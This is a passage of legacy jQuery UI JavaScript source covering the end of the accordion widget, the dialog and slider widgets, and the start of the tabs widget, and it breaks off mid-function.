        options.running = cancel ? 0 : --options.running;
        if (options.running) {
            return;
        }
        if (options.clearStyle) {
            options.toShow.add(options.toHide).css({
                height: "",
                overflow: ""
            });
        }
        $(this).triggerHandler("accordionchange", [$.event.fix({
            type: 'accordionchange',
            target: instance.element[0]
        }), options.data], options.change);
    }

    function toggle(toShow, toHide, data, clickedActive, down) {
        var options = $.data(this, "accordion").options;
        options.toShow = toShow;
        options.toHide = toHide;
        options.data = data;
        var complete = scopeCallback(completed, this);
        options.running = toHide.size() === 0 ? toShow.size() : toHide.size();
        if (options.animated) {
            if (!options.alwaysOpen && clickedActive) {
                $.ui.accordion.animations[options.animated]({
                    toShow: jQuery([]),
                    toHide: toHide,
                    complete: complete,
                    down: down,
                    autoHeight: options.autoHeight
                });
            } else {
                $.ui.accordion.animations[options.animated]({
                    toShow: toShow,
                    toHide: toHide,
                    complete: complete,
                    down: down,
                    autoHeight: options.autoHeight
                });
            }
        } else {
            if (!options.alwaysOpen && clickedActive) {
                toShow.toggle();
            } else {
                toHide.hide();
                toShow.show();
            }
            complete(true);
        }
    }

    function clickHandler(event) {
        var options = $.data(this, "accordion").options;
        if (options.disabled) {
            return false;
        }
        if (!event.target && !options.alwaysOpen) {
            options.active.parent().andSelf().toggleClass(options.selectedClass);
            var toHide = options.active.next(),
                data = {
                    options: options,
                    newHeader: jQuery([]),
                    oldHeader: options.active,
                    newContent: jQuery([]),
                    oldContent: toHide
                },
                toShow = (options.active = $([]));
            toggle.call(this, toShow, toHide, data);
            return false;
        }
        var clicked = $(event.target);
        clicked = $(clicked.parents(options.header)[0] || clicked);
        var clickedActive = clicked[0] == options.active[0];
        if (options.running || (options.alwaysOpen && clickedActive)) {
            return false;
        }
        if (!clicked.is(options.header)) {
            return;
        }
        options.active.parent().andSelf().toggleClass(options.selectedClass);
        if (!clickedActive) {
            clicked.parent().andSelf().addClass(options.selectedClass);
        }
        var toShow = clicked.next(),
            toHide = options.active.next(),
            data = {
                options: options,
                newHeader: clicked,
                oldHeader: options.active,
                newContent: toShow,
                oldContent: toHide
            },
            down = options.headers.index(options.active[0]) > options.headers.index(clicked[0]);
        options.active = clickedActive ? $([]) : clicked;
        toggle.call(this, toShow, toHide, data, clickedActive, down);
        return false;
    };

    function findActive(headers, selector) {
        return selector != undefined ? typeof selector == "number" ? headers.filter(":eq(" + selector + ")") : headers.not(headers.not(selector)) : selector === false ? $([]) : headers.filter(":eq(0)");
    }
    $.extend($.ui.accordion, {
        defaults: {
            selectedClass: "selected",
            alwaysOpen: true,
            animated: 'slide',
            event: "click",
            header: "a",
            autoHeight: true,
            running: 0,
            navigationFilter: function() {
                return this.href.toLowerCase() == location.href.toLowerCase();
            }
        },
        animations: {
            slide: function(options, additions) {
                options = $.extend({
                    easing: "swing",
                    duration: 300
                }, options, additions);
                if (!options.toHide.size()) {
                    options.toShow.animate({
                        height: "show"
                    }, options);
                    return;
                }
                var hideHeight = options.toHide.height(),
                    showHeight = options.toShow.height(),
                    difference = showHeight / hideHeight;
                options.toShow.css({
                    height: 0,
                    overflow: 'hidden'
                }).show();
                options.toHide.filter(":hidden").each(options.complete).end().filter(":visible").animate({
                    height: "hide"
                }, {
                    step: function(now) {
                        var current = (hideHeight - now) * difference;
                        if ($.browser.msie || $.browser.opera) {
                            current = Math.ceil(current);
                        }
                        options.toShow.height(current);
                    },
                    duration: options.duration,
                    easing: options.easing,
                    complete: function() {
                        if (!options.autoHeight) {
                            options.toShow.css("height", "auto");
                        }
                        options.complete();
                    }
                });
            },
            bounceslide: function(options) {
                this.slide(options, {
                    easing: options.down ? "bounceout" : "swing",
                    duration: options.down ? 1000 : 200
                });
            },
            easeslide: function(options) {
                this.slide(options, {
                    easing: "easeinout",
                    duration: 700
                });
            }
        }
    });
    $.fn.activate = function(index) {
        return this.accordion("activate", index);
    };
})(jQuery);
(function($) {
    var setDataSwitch = {
        dragStart: "start.draggable",
        drag: "drag.draggable",
        dragStop: "stop.draggable",
        maxHeight: "maxHeight.resizable",
        minHeight: "minHeight.resizable",
        maxWidth: "maxWidth.resizable",
        minWidth: "minWidth.resizable",
        resizeStart: "start.resizable",
        resize: "drag.resizable",
        resizeStop: "stop.resizable"
    };
    $.widget("ui.dialog", {
        init: function() {
            var self = this,
                options = this.options,
                resizeHandles = typeof options.resizable == 'string' ? options.resizable : 'n,e,s,w,se,sw,ne,nw',
                uiDialogContent = this.element.addClass('ui-dialog-content').wrap('<div/>').wrap('<div/>'),
                uiDialogContainer = (this.uiDialogContainer = uiDialogContent.parent().addClass('ui-dialog-container').css({
                    position: 'relative',
                    width: '100%',
                    height: '100%'
                })),
                title = options.title || uiDialogContent.attr('title') || '',
                uiDialogTitlebar = (this.uiDialogTitlebar = $('<div class="ui-dialog-titlebar"/>')).append('<span class="ui-dialog-title">' + title + '</span>').append('<a href="#" class="ui-dialog-titlebar-close"><span>X</span></a>').prependTo(uiDialogContainer),
                uiDialog = (this.uiDialog = uiDialogContainer.parent()).appendTo(document.body).hide().addClass('ui-dialog').addClass(options.dialogClass).addClass(uiDialogContent.attr('className')).removeClass('ui-dialog-content').css({
                    position: 'absolute',
                    width: options.width,
                    height: options.height,
                    overflow: 'hidden',
                    zIndex: options.zIndex
                }).attr('tabIndex', -1).css('outline', 0).keydown(function(ev) {
                    if (options.closeOnEscape) {
                        var ESC = 27;
                        (ev.keyCode && ev.keyCode == ESC && self.close());
                    }
                }).mousedown(function() {
                    self.moveToTop();
                }),
                uiDialogButtonPane = (this.uiDialogButtonPane = $('<div/>')).addClass('ui-dialog-buttonpane').css({
                    position: 'absolute',
                    bottom: 0
                }).appendTo(uiDialog);
            this.uiDialogTitlebarClose = $('.ui-dialog-titlebar-close', uiDialogTitlebar).hover(function() {
                $(this).addClass('ui-dialog-titlebar-close-hover');
            }, function() {
                $(this).removeClass('ui-dialog-titlebar-close-hover');
            }).mousedown(function(ev) {
                ev.stopPropagation();
            }).click(function() {
                self.close();
                return false;
            });
            this.uiDialogTitlebar.find("*").add(this.uiDialogTitlebar).each(function() {
                $.ui.disableSelection(this);
            });
            if ($.fn.draggable) {
                uiDialog.draggable({
                    cancel: '.ui-dialog-content',
                    helper: options.dragHelper,
                    handle: '.ui-dialog-titlebar',
                    start: function(e, ui) {
                        self.moveToTop();
                        (options.dragStart && options.dragStart.apply(self.element[0], arguments));
                    },
                    drag: function(e, ui) {
                        (options.drag && options.drag.apply(self.element[0], arguments));
                    },
                    stop: function(e, ui) {
                        (options.dragStop && options.dragStop.apply(self.element[0], arguments));
                        $.ui.dialog.overlay.resize();
                    }
                });
                (options.draggable || uiDialog.draggable('disable'));
            }
            if ($.fn.resizable) {
                uiDialog.resizable({
                    cancel: '.ui-dialog-content',
                    helper: options.resizeHelper,
                    maxWidth: options.maxWidth,
                    maxHeight: options.maxHeight,
                    minWidth: options.minWidth,
                    minHeight: options.minHeight,
                    start: function() {
                        (options.resizeStart && options.resizeStart.apply(self.element[0], arguments));
                    },
                    resize: function(e, ui) {
                        (options.autoResize && self.size.apply(self));
                        (options.resize && options.resize.apply(self.element[0], arguments));
                    },
                    handles: resizeHandles,
                    stop: function(e, ui) {
                        (options.autoResize && self.size.apply(self));
                        (options.resizeStop && options.resizeStop.apply(self.element[0], arguments));
                        $.ui.dialog.overlay.resize();
                    }
                });
                (options.resizable || uiDialog.resizable('disable'));
            }
            this.createButtons(options.buttons);
            this.isOpen = false;
            (options.bgiframe && $.fn.bgiframe && uiDialog.bgiframe());
            (options.autoOpen && this.open());
        },
        setData: function(key, value) {
            (setDataSwitch[key] && this.uiDialog.data(setDataSwitch[key], value));
            switch (key) {
            case "buttons":
                this.createButtons(value);
                break;
            case "draggable":
                this.uiDialog.draggable(value ? 'enable' : 'disable');
                break;
            case "height":
                this.uiDialog.height(value);
                break;
            case "position":
                this.position(value);
                break;
            case "resizable":
                (typeof value == 'string' && this.uiDialog.data('handles.resizable', value));
                this.uiDialog.resizable(value ? 'enable' : 'disable');
                break;
            case "title":
                $(".ui-dialog-title", this.uiDialogTitlebar).text(value);
                break;
            case "width":
                this.uiDialog.width(value);
                break;
            }
            $.widget.prototype.setData.apply(this, arguments);
        },
        position: function(pos) {
            var wnd = $(window),
                doc = $(document),
                pTop = doc.scrollTop(),
                pLeft = doc.scrollLeft(),
                minTop = pTop;
            if ($.inArray(pos, ['center', 'top', 'right', 'bottom', 'left']) >= 0) {
                pos = [pos == 'right' || pos == 'left' ? pos : 'center', pos == 'top' || pos == 'bottom' ? pos : 'middle'];
            }
            if (pos.constructor != Array) {
                pos = ['center', 'middle'];
            }
            if (pos[0].constructor == Number) {
                pLeft += pos[0];
            } else {
                switch (pos[0]) {
                case 'left':
                    pLeft += 0;
                    break;
                case 'right':
                    pLeft += wnd.width() - this.uiDialog.width();
                    break;
                default:
                case 'center':
                    pLeft += (wnd.width() - this.uiDialog.width()) / 2;
                }
            }
            if (pos[1].constructor == Number) {
                pTop += pos[1];
            } else {
                switch (pos[1]) {
                case 'top':
                    pTop += 0;
                    break;
                case 'bottom':
                    pTop += wnd.height() - this.uiDialog.height();
                    break;
                default:
                case 'middle':
                    pTop += (wnd.height() - this.uiDialog.height()) / 2;
                }
            }
            pTop = Math.max(pTop, minTop);
            this.uiDialog.css({
                top: pTop,
                left: pLeft
            });
        },
        size: function() {
            var container = this.uiDialogContainer,
                titlebar = this.uiDialogTitlebar,
                content = this.element,
                tbMargin = parseInt(content.css('margin-top'), 10) + parseInt(content.css('margin-bottom'), 10),
                lrMargin = parseInt(content.css('margin-left'), 10) + parseInt(content.css('margin-right'), 10);
            content.height(container.height() - titlebar.outerHeight() - tbMargin);
            content.width(container.width() - lrMargin);
        },
        open: function() {
            if (this.isOpen) {
                return;
            }
            this.overlay = this.options.modal ? new $.ui.dialog.overlay(this) : null;
            (this.uiDialog.next().length > 0) && this.uiDialog.appendTo('body');
            this.position(this.options.position);
            this.uiDialog.show(this.options.show);
            this.options.autoResize && this.size();
            this.moveToTop(true);
            var openEV = null;
            var openUI = {
                options: this.options
            };
            this.uiDialogTitlebarClose.focus();
            this.element.triggerHandler("dialogopen", [openEV, openUI], this.options.open);
            this.isOpen = true;
        },
        moveToTop: function(force) {
            if ((this.options.modal && !force) || (!this.options.stack && !this.options.modal)) {
                return this.element.triggerHandler("dialogfocus", [null,
                {
                    options: this.options
                }], this.options.focus);
            }
            var maxZ = this.options.zIndex,
                options = this.options;
            $('.ui-dialog:visible').each(function() {
                maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10) || options.zIndex);
            });
            (this.overlay && this.overlay.$el.css('z-index', ++maxZ));
            this.uiDialog.css('z-index', ++maxZ);
            this.element.triggerHandler("dialogfocus", [null,
            {
                options: this.options
            }], this.options.focus);
        },
        close: function() {
            (this.overlay && this.overlay.destroy());
            this.uiDialog.hide(this.options.hide);
            var closeEV = null;
            var closeUI = {
                options: this.options
            };
            this.element.triggerHandler("dialogclose", [closeEV, closeUI], this.options.close);
            $.ui.dialog.overlay.resize();
            this.isOpen = false;
        },
        destroy: function() {
            (this.overlay && this.overlay.destroy());
            this.uiDialog.hide();
            this.element.unbind('.dialog').removeData('dialog').removeClass('ui-dialog-content').hide().appendTo('body');
            this.uiDialog.remove();
        },
        createButtons: function(buttons) {
            var self = this,
                hasButtons = false,
                uiDialogButtonPane = this.uiDialogButtonPane;
            uiDialogButtonPane.empty().hide();
            $.each(buttons, function() {
                return !(hasButtons = true);
            });
            if (hasButtons) {
                uiDialogButtonPane.show();
                $.each(buttons, function(name, fn) {
                    $('<button/>').text(name).click(function() {
                        fn.apply(self.element[0], arguments);
                    }).appendTo(uiDialogButtonPane);
                });
            }
        }
    });
    $.extend($.ui.dialog, {
        defaults: {
            autoOpen: true,
            autoResize: true,
            bgiframe: false,
            buttons: {},
            closeOnEscape: true,
            draggable: true,
            height: 200,
            minHeight: 100,
            minWidth: 150,
            modal: false,
            overlay: {},
            position: 'center',
            resizable: true,
            stack: true,
            width: 300,
            zIndex: 1000
        },
        overlay: function(dialog) {
            this.$el = $.ui.dialog.overlay.create(dialog);
        }
    });
    $.extend($.ui.dialog.overlay, {
        instances: [],
        events: $.map('focus,mousedown,mouseup,keydown,keypress,click'.split(','), function(e) {
            return e + '.dialog-overlay';
        }).join(' '),
        create: function(dialog) {
            if (this.instances.length === 0) {
                setTimeout(function() {
                    $('a, :input').bind($.ui.dialog.overlay.events, function() {
                        var allow = false;
                        var $dialog = $(this).parents('.ui-dialog');
                        if ($dialog.length) {
                            var $overlays = $('.ui-dialog-overlay');
                            if ($overlays.length) {
                                var maxZ = parseInt($overlays.css('z-index'), 10);
                                $overlays.each(function() {
                                    maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10));
                                });
                                allow = parseInt($dialog.css('z-index'), 10) > maxZ;
                            } else {
                                allow = true;
                            }
                        }
                        return allow;
                    });
                }, 1);
                $(document).bind('keydown.dialog-overlay', function(e) {
                    var ESC = 27;
                    (e.keyCode && e.keyCode == ESC && dialog.close());
                });
                $(window).bind('resize.dialog-overlay', $.ui.dialog.overlay.resize);
            }
            var $el = $('<div/>').appendTo(document.body).addClass('ui-dialog-overlay').css($.extend({
                borderWidth: 0,
                margin: 0,
                padding: 0,
                position: 'absolute',
                top: 0,
                left: 0,
                width: this.width(),
                height: this.height()
            }, dialog.options.overlay));
            (dialog.options.bgiframe && $.fn.bgiframe && $el.bgiframe());
            this.instances.push($el);
            return $el;
        },
        destroy: function($el) {
            this.instances.splice($.inArray(this.instances, $el), 1);
            if (this.instances.length === 0) {
                $('a, :input').add([document, window]).unbind('.dialog-overlay');
            }
            $el.remove();
        },
        height: function() {
            if ($.browser.msie && $.browser.version < 7) {
                var scrollHeight = Math.max(document.documentElement.scrollHeight, document.body.scrollHeight);
                var offsetHeight = Math.max(document.documentElement.offsetHeight, document.body.offsetHeight);
                if (scrollHeight < offsetHeight) {
                    return $(window).height() + 'px';
                } else {
                    return scrollHeight + 'px';
                }
            } else {
                return $(document).height() + 'px';
            }
        },
        width: function() {
            if ($.browser.msie && $.browser.version < 7) {
                var scrollWidth = Math.max(document.documentElement.scrollWidth, document.body.scrollWidth);
                var offsetWidth = Math.max(document.documentElement.offsetWidth, document.body.offsetWidth);
                if (scrollWidth < offsetWidth) {
                    return $(window).width() + 'px';
                } else {
                    return scrollWidth + 'px';
                }
            } else {
                return $(document).width() + 'px';
            }
        },
        resize: function() {
            var $overlays = $([]);
            $.each($.ui.dialog.overlay.instances, function() {
                $overlays = $overlays.add(this);
            });
            $overlays.css({
                width: 0,
                height: 0
            }).css({
                width: $.ui.dialog.overlay.width(),
                height: $.ui.dialog.overlay.height()
            });
        }
    });
    $.extend($.ui.dialog.overlay.prototype, {
        destroy: function() {
            $.ui.dialog.overlay.destroy(this.$el);
        }
    });
})(jQuery);
(function($) {
    $.fn.unwrap = $.fn.unwrap ||
    function(expr) {
        return this.each(function() {
            $(this).parents(expr).eq(0).after(this).remove();
        });
    };
    $.widget("ui.slider", {
        plugins: {},
        ui: function(e) {
            return {
                options: this.options,
                handle: this.currentHandle,
                value: this.options.axis != "both" || !this.options.axis ? Math.round(this.value(null, this.options.axis == "vertical" ? "y" : "x")) : {
                    x: Math.round(this.value(null, "x")),
                    y: Math.round(this.value(null, "y"))
                },
                range: this.getRange()
            };
        },
        propagate: function(n, e) {
            $.ui.plugin.call(this, n, [e, this.ui()]);
            this.element.triggerHandler(n == "slide" ? n : "slide" + n, [e, this.ui()], this.options[n]);
        },
        destroy: function() {
            this.element.removeClass("ui-slider ui-slider-disabled").removeData("slider").unbind(".slider");
            if (this.handle && this.handle.length) {
                this.handle.unwrap("a");
                this.handle.each(function() {
                    $(this).data("mouse").mouseDestroy();
                });
            }
            this.generated && this.generated.remove();
        },
        setData: function(key, value) {
            $.widget.prototype.setData.apply(this, arguments);
            if (/min|max|steps/.test(key)) {
                this.initBoundaries();
            }
            if (key == "range") {
                value ? this.handle.length == 2 && this.createRange() : this.removeRange();
            }
        },
        init: function() {
            var self = this;
            this.element.addClass("ui-slider");
            this.initBoundaries();
            this.handle = $(this.options.handle, this.element);
            if (!this.handle.length) {
                self.handle = self.generated = $(self.options.handles || [0]).map(function() {
                    var handle = $("<div/>").addClass("ui-slider-handle").appendTo(self.element);
                    if (this.id) handle.attr("id", this.id);
                    return handle[0];
                });
            }
            var handleclass = function(el) {
                    this.element = $(el);
                    this.element.data("mouse", this);
                    this.options = self.options;
                    this.element.bind("mousedown", function() {
                        if (self.currentHandle) this.blur(self.currentHandle);
                        self.focus(this, 1);
                    });
                    this.mouseInit();
                };
            $.extend(handleclass.prototype, $.ui.mouse, {
                mouseStart: function(e) {
                    return self.start.call(self, e, this.element[0]);
                },
                mouseStop: function(e) {
                    return self.stop.call(self, e, this.element[0]);
                },
                mouseDrag: function(e) {
                    return self.drag.call(self, e, this.element[0]);
                },
                mouseCapture: function() {
                    return true;
                },
                trigger: function(e) {
                    this.mouseDown(e);
                }
            });
            $(this.handle).each(function() {
                new handleclass(this);
            }).wrap('<a href="javascript:void(0)" style="outline:none;border:none;"></a>').parent().bind('focus', function(e) {
                self.focus(this.firstChild);
            }).bind('blur', function(e) {
                self.blur(this.firstChild);
            }).bind('keydown', function(e) {
                if (!self.options.noKeyboard) self.keydown(e.keyCode, this.firstChild);
            });
            this.element.bind('mousedown.slider', function(e) {
                self.click.apply(self, [e]);
                self.currentHandle.data("mouse").trigger(e);
                self.firstValue = self.firstValue + 1;
            });
            $.each(this.options.handles || [], function(index, handle) {
                self.moveTo(handle.start, index, true);
            });
            if (!isNaN(this.options.startValue)) this.moveTo(this.options.startValue, 0, true);
            this.previousHandle = $(this.handle[0]);
            if (this.handle.length == 2 && this.options.range) this.createRange();
        },
        initBoundaries: function() {
            var element = this.element[0],
                o = this.options;
            this.actualSize = {
                width: this.element.outerWidth(),
                height: this.element.outerHeight()
            };
            $.extend(o, {
                axis: o.axis || (element.offsetWidth < element.offsetHeight ? 'vertical' : 'horizontal'),
                max: !isNaN(parseInt(o.max, 10)) ? {
                    x: parseInt(o.max, 10),
                    y: parseInt(o.max, 10)
                } : ({
                    x: o.max && o.max.x || 100,
                    y: o.max && o.max.y || 100
                }),
                min: !isNaN(parseInt(o.min, 10)) ? {
                    x: parseInt(o.min, 10),
                    y: parseInt(o.min, 10)
                } : ({
                    x: o.min && o.min.x || 0,
                    y: o.min && o.min.y || 0
                })
            });
            o.realMax = {
                x: o.max.x - o.min.x,
                y: o.max.y - o.min.y
            };
            o.stepping = {
                x: o.stepping && o.stepping.x || parseInt(o.stepping, 10) || (o.steps ? o.realMax.x / (o.steps.x || parseInt(o.steps, 10) || o.realMax.x) : 0),
                y: o.stepping && o.stepping.y || parseInt(o.stepping, 10) || (o.steps ? o.realMax.y / (o.steps.y || parseInt(o.steps, 10) || o.realMax.y) : 0)
            };
        },
        keydown: function(keyCode, handle) {
            if (/(37|38|39|40)/.test(keyCode)) {
                this.moveTo({
                    x: /(37|39)/.test(keyCode) ? (keyCode == 37 ? '-' : '+') + '=' + this.oneStep("x") : 0,
                    y: /(38|40)/.test(keyCode) ? (keyCode == 38 ? '-' : '+') + '=' + this.oneStep("y") : 0
                }, handle);
            }
        },
        focus: function(handle, hard) {
            this.currentHandle = $(handle).addClass('ui-slider-handle-active');
            if (hard) this.currentHandle.parent()[0].focus();
        },
        blur: function(handle) {
            $(handle).removeClass('ui-slider-handle-active');
            if (this.currentHandle && this.currentHandle[0] == handle) {
                this.previousHandle = this.currentHandle;
                this.currentHandle = null;
            };
        },
        click: function(e) {
            var pointer = [e.pageX, e.pageY];
            var clickedHandle = false;
            this.handle.each(function() {
                if (this == e.target) clickedHandle = true;
            });
            if (clickedHandle || this.options.disabled || !(this.currentHandle || this.previousHandle)) return;
            if (!this.currentHandle && this.previousHandle) this.focus(this.previousHandle, true);
            this.offset = this.element.offset();
            this.moveTo({
                y: this.convertValue(e.pageY - this.offset.top - this.currentHandle[0].offsetHeight / 2, "y"),
                x: this.convertValue(e.pageX - this.offset.left - this.currentHandle[0].offsetWidth / 2, "x")
            }, null, !this.options.distance);
        },
        createRange: function() {
            if (this.rangeElement) return;
            this.rangeElement = $('<div></div>').addClass('ui-slider-range').css({
                position: 'absolute'
            }).appendTo(this.element);
            this.updateRange();
        },
        removeRange: function() {
            this.rangeElement.remove();
            this.rangeElement = null;
        },
        updateRange: function() {
            var prop = this.options.axis == "vertical" ? "top" : "left";
            var size = this.options.axis == "vertical" ? "height" : "width";
            this.rangeElement.css(prop, (parseInt($(this.handle[0]).css(prop), 10) || 0) + this.handleSize(0, this.options.axis == "vertical" ? "y" : "x") / 2);
            this.rangeElement.css(size, (parseInt($(this.handle[1]).css(prop), 10) || 0) - (parseInt($(this.handle[0]).css(prop), 10) || 0));
        },
        getRange: function() {
            return this.rangeElement ? this.convertValue(parseInt(this.rangeElement.css(this.options.axis == "vertical" ? "height" : "width"), 10), this.options.axis == "vertical" ? "y" : "x") : null;
        },
        handleIndex: function() {
            return this.handle.index(this.currentHandle[0]);
        },
        value: function(handle, axis) {
            if (this.handle.length == 1) this.currentHandle = this.handle;
            if (!axis) axis = this.options.axis == "vertical" ? "y" : "x";
            var curHandle = $(handle != undefined && handle !== null ? this.handle[handle] || handle : this.currentHandle);
            if (curHandle.data("mouse").sliderValue) {
                return parseInt(curHandle.data("mouse").sliderValue[axis], 10);
            } else {
                return parseInt(((parseInt(curHandle.css(axis == "x" ? "left" : "top"), 10) / (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(handle, axis))) * this.options.realMax[axis]) + this.options.min[axis], 10);
            }
        },
        convertValue: function(value, axis) {
            return this.options.min[axis] + (value / (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis))) * this.options.realMax[axis];
        },
        translateValue: function(value, axis) {
            return ((value - this.options.min[axis]) / this.options.realMax[axis]) * (this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis));
        },
        translateRange: function(value, axis) {
            if (this.rangeElement) {
                if (this.currentHandle[0] == this.handle[0] && value >= this.translateValue(this.value(1), axis)) value = this.translateValue(this.value(1, axis) - this.oneStep(axis), axis);
                if (this.currentHandle[0] == this.handle[1] && value <= this.translateValue(this.value(0), axis)) value = this.translateValue(this.value(0, axis) + this.oneStep(axis), axis);
            }
            if (this.options.handles) {
                var handle = this.options.handles[this.handleIndex()];
                if (value < this.translateValue(handle.min, axis)) {
                    value = this.translateValue(handle.min, axis);
                } else if (value > this.translateValue(handle.max, axis)) {
                    value = this.translateValue(handle.max, axis);
                }
            }
            return value;
        },
        translateLimits: function(value, axis) {
            if (value >= this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis)) value = this.actualSize[axis == "x" ? "width" : "height"] - this.handleSize(null, axis);
            if (value <= 0) value = 0;
            return value;
        },
        handleSize: function(handle, axis) {
            return $(handle != undefined && handle !== null ? this.handle[handle] : this.currentHandle)[0]["offset" + (axis == "x" ? "Width" : "Height")];
        },
        oneStep: function(axis) {
            return this.options.stepping[axis] || 1;
        },
        start: function(e, handle) {
            var o = this.options;
            if (o.disabled) return false;
            this.actualSize = {
                width: this.element.outerWidth(),
                height: this.element.outerHeight()
            };
            if (!this.currentHandle) this.focus(this.previousHandle, true);
            this.offset = this.element.offset();
            this.handleOffset = this.currentHandle.offset();
            this.clickOffset = {
                top: e.pageY - this.handleOffset.top,
                left: e.pageX - this.handleOffset.left
            };
            this.firstValue = this.value();
            this.propagate('start', e);
            this.drag(e, handle);
            return true;
        },
        stop: function(e) {
            this.propagate('stop', e);
            if (this.firstValue != this.value()) this.propagate('change', e);
            this.focus(this.currentHandle, true);
            return false;
        },
        drag: function(e, handle) {
            var o = this.options;
            var position = {
                top: e.pageY - this.offset.top - this.clickOffset.top,
                left: e.pageX - this.offset.left - this.clickOffset.left
            };
            if (!this.currentHandle) this.focus(this.previousHandle, true);
            position.left = this.translateLimits(position.left, "x");
            position.top = this.translateLimits(position.top, "y");
            if (o.stepping.x) {
                var value = this.convertValue(position.left, "x");
                value = Math.round(value / o.stepping.x) * o.stepping.x;
                position.left = this.translateValue(value, "x");
            }
            if (o.stepping.y) {
                var value = this.convertValue(position.top, "y");
                value = Math.round(value / o.stepping.y) * o.stepping.y;
                position.top = this.translateValue(value, "y");
            }
            position.left = this.translateRange(position.left, "x");
            position.top = this.translateRange(position.top, "y");
            if (o.axis != "vertical") this.currentHandle.css({
                left: position.left
            });
            if (o.axis != "horizontal") this.currentHandle.css({
                top: position.top
            });
            this.currentHandle.data("mouse").sliderValue = {
                x: Math.round(this.convertValue(position.left, "x")) || 0,
                y: Math.round(this.convertValue(position.top, "y")) || 0
            };
            if (this.rangeElement) this.updateRange();
            this.propagate('slide', e);
            return false;
        },
        moveTo: function(value, handle, noPropagation) {
            var o = this.options;
            this.actualSize = {
                width: this.element.outerWidth(),
                height: this.element.outerHeight()
            };
            if (handle == undefined && !this.currentHandle && this.handle.length != 1) return false;
            if (handle == undefined && !this.currentHandle) handle = 0;
            if (handle != undefined) this.currentHandle = this.previousHandle = $(this.handle[handle] || handle);
            if (value.x !== undefined && value.y !== undefined) {
                var x = value.x,
                    y = value.y;
            } else {
                var x = value,
                    y = value;
            }
            if (x !== undefined && x.constructor != Number) {
                var me = /^\-\=/.test(x),
                    pe = /^\+\=/.test(x);
                if (me || pe) {
                    x = this.value(null, "x") + parseInt(x.replace(me ? '=' : '+=', ''), 10);
                } else {
                    x = isNaN(parseInt(x, 10)) ? undefined : parseInt(x, 10);
                }
            }
            if (y !== undefined && y.constructor != Number) {
                var me = /^\-\=/.test(y),
                    pe = /^\+\=/.test(y);
                if (me || pe) {
                    y = this.value(null, "y") + parseInt(y.replace(me ? '=' : '+=', ''), 10);
                } else {
                    y = isNaN(parseInt(y, 10)) ? undefined : parseInt(y, 10);
                }
            }
            if (o.axis != "vertical" && x !== undefined) {
                if (o.stepping.x) x = Math.round(x / o.stepping.x) * o.stepping.x;
                x = this.translateValue(x, "x");
                x = this.translateLimits(x, "x");
                x = this.translateRange(x, "x");
                o.animate ? this.currentHandle.stop().animate({
                    left: x
                }, (Math.abs(parseInt(this.currentHandle.css("left")) - x)) * (!isNaN(parseInt(o.animate)) ? o.animate : 5)) : this.currentHandle.css({
                    left: x
                });
            }
            if (o.axis != "horizontal" && y !== undefined) {
                if (o.stepping.y) y = Math.round(y / o.stepping.y) * o.stepping.y;
                y = this.translateValue(y, "y");
                y = this.translateLimits(y, "y");
                y = this.translateRange(y, "y");
                o.animate ? this.currentHandle.stop().animate({
                    top: y
                }, (Math.abs(parseInt(this.currentHandle.css("top")) - y)) * (!isNaN(parseInt(o.animate)) ? o.animate : 5)) : this.currentHandle.css({
                    top: y
                });
            }
            if (this.rangeElement) this.updateRange();
            this.currentHandle.data("mouse").sliderValue = {
                x: Math.round(this.convertValue(x, "x")) || 0,
                y: Math.round(this.convertValue(y, "y")) || 0
            };
            if (!noPropagation) {
                this.propagate('start', null);
                this.propagate('stop', null);
                this.propagate('change', null);
                this.propagate("slide", null);
            }
        }
    });
    $.ui.slider.getter = "value";
    $.ui.slider.defaults = {
        handle: ".ui-slider-handle",
        distance: 1,
        animate: false
    };
})(jQuery);
(function($) {
    $.widget("ui.tabs", {
        init: function() {
            this.options.event += '.tabs';
            this.tabify(true);
        },
        setData: function(key, value) {
            if ((/^selected/).test(key)) this.select(value);
            else {
                this.options[key] = value;
                this.tabify();
            }
        },
        length: function() {
            return this.$tabs.length;
        },
        tabId: function(a) {
            return a.title && a.title.replace(/\s/g, '_').replace(/[^A-Za-z0-9\-_:\.]/g, '') || this.options.idPrefix + $.data(a);
        },
        ui: function(tab, panel) {
            return {
                options: this.options,
                tab: tab,
                panel: panel,
                index: this.$tabs.index(tab)
            };
        },
        tabify: function(init) {
            this.$lis = $('li:has(a[href])', this.element);
            this.$tabs = this.$lis.map(function() {
                return $('a', this)[0];
            });
            this.$panels = $([]);
            var self = this,
                o = this.options;
            this.$tabs.each(function(i, a) {
                if (a.hash && a.hash.replace('#', '')) self.$panels = self.$panels.add(a.hash);
                else if ($(a).attr('href') != '#') {
                    $.data(a, 'href.tabs', a.href);
                    $.data(a, 'load.tabs', a.href);
                    var id = self.tabId(a);
                    a.href = '#' + id;
                    var $panel = $('#' + id);
                    if (!$panel.length) {
                        $panel = $(o.panelTemplate).attr('id', id).addClass(o.panelClass).insertAfter(self.$panels[i - 1] || self.element);
                        $panel.data('destroy.tabs', true);
                    }
                    self.$panels = self.$panels.add($panel);
                } else o.disabled.push(i + 1);
            });
            if (init) {
                this.element.addClass(o.navClass);
                this.$panels.each(function() {
                    var $this = $(this);
                    $this.addClass(o.panelClass);
                });
                if (o.selected === undefined) {
                    if (location.hash) {
                        this.$tabs.each(function(i, a) {
                            if (a.hash == location.hash) {
                                o.selected = i;
                                if ($.browser.msie || $.browser.opera) {
                                    var $toShow = $(location.hash),
                                        toShowId = $toShow.attr('id');
                                    $toShow.attr('id', '');
                                    setTimeout(function() {
                                        $toShow.attr('id', toShowId);
                                    }, 500);
                                }
                                scrollTo(0, 0);
                                return false;
                            }
                        });
                    } else if (o.cookie) {
                        var index = parseInt($.cookie('ui-tabs' + $.data(self.element)), 10);
                        if (index && self.$tabs[index]) o.selected = index;
                    } else if (self.$lis.filter('.' + o.selectedClass).length) o.selected = self.$lis.index(self.$lis.filter('.' + o.selectedClass)[0]);
                }
                o.selected = o.selected === null || o.selected !== undefined ? o.selected : 0;
                o.disabled = $.unique(o.disabled.concat($.map(this.$lis.filter('.' + o.disabledClass), function(n, i) {
                    return self.$lis.index(n);
                }))).sort();
                if ($.inArray(o.selected, o.disabled) != -1) o.disabled.splice($.inArray(o.selected, o.disabled), 1);
                this.$panels.addClass(o.hideClass);
